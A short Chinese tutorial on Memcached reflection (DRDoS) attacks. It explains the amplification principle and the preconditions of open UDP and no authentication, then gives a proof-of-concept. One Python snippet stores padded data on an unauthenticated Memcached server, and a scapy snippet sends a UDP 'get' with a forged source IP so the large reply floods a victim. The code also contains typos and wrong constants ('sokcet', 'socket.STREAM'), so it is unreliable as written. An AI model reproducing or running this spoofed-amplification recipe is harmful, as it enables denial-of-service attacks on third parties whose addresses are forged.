一、Memcached反射攻击原理
1、反射DRDoS攻击:
DRDoS攻击时DoS攻击的一种,DoS是指通过发送或引发大量的资源消耗导致服务不可用的一种攻击方式,中文称之为拒绝服务攻击。DRDoS是反射性拒绝服务攻击,其原理是通过利用你的程序漏洞,发送畸形报文诱发你回复大数据量的报文,从而达到消耗资源,拒绝服务的目的。
2、为什么Memcached可以诱发DRDoS:
因为Memcached是一个缓存服务器,很多web站点用来存储缓存数据,以防止WEB服务器承担更多性能损耗。但是这样情况下,如果发送一个请求,回复大数据量的响应报文,则可以被诱发DRDoS,攻击手段就是重复变换源的发送请求报文即可。
3、以上还有两个前提:
(1)Memcached支持TCP和UDP,且其中UDP是不需要状态连接,和握手的。
(2)Memcached存在未授权访问的情况。
二、Memcached DRDoS的poc
1、攻击手法,
(1)访问可以控制的未授权的memcached,set设置键值
set abc
abc ->键名
-> flag
-> exptime 过期时间,0便是永不过期
-> 返回10Byte的数据,当然可以返回更多
python代码如下
# -*- coding:utf-8 -*- import socket target_host = "192.168.1.1"
target_port = 11211
client = sokcet.socket(socket.AF_INET,socket.STREAM)
client.settimeout(10)
client.connect((target_host,target_port)) client.send("set abcd 0 0 10\r\nabcd\r\n\r\n\r\n\r\n\r\n")
data = client.recv(1024)
print data
(2)然后get这个abc即可
# -*- coding:utf-8 -*- from scapy.all import * data = "\x00\x00\x00\x00\x00\x01\x00\x00get abcd\r\n"
pkt = scapy.all.IP(dst="192.168.1.1",src="192.168.1.2") / scapy.all.UDP(sport=80,dport=11211) / data
send(pkt ,inter=1,count=1)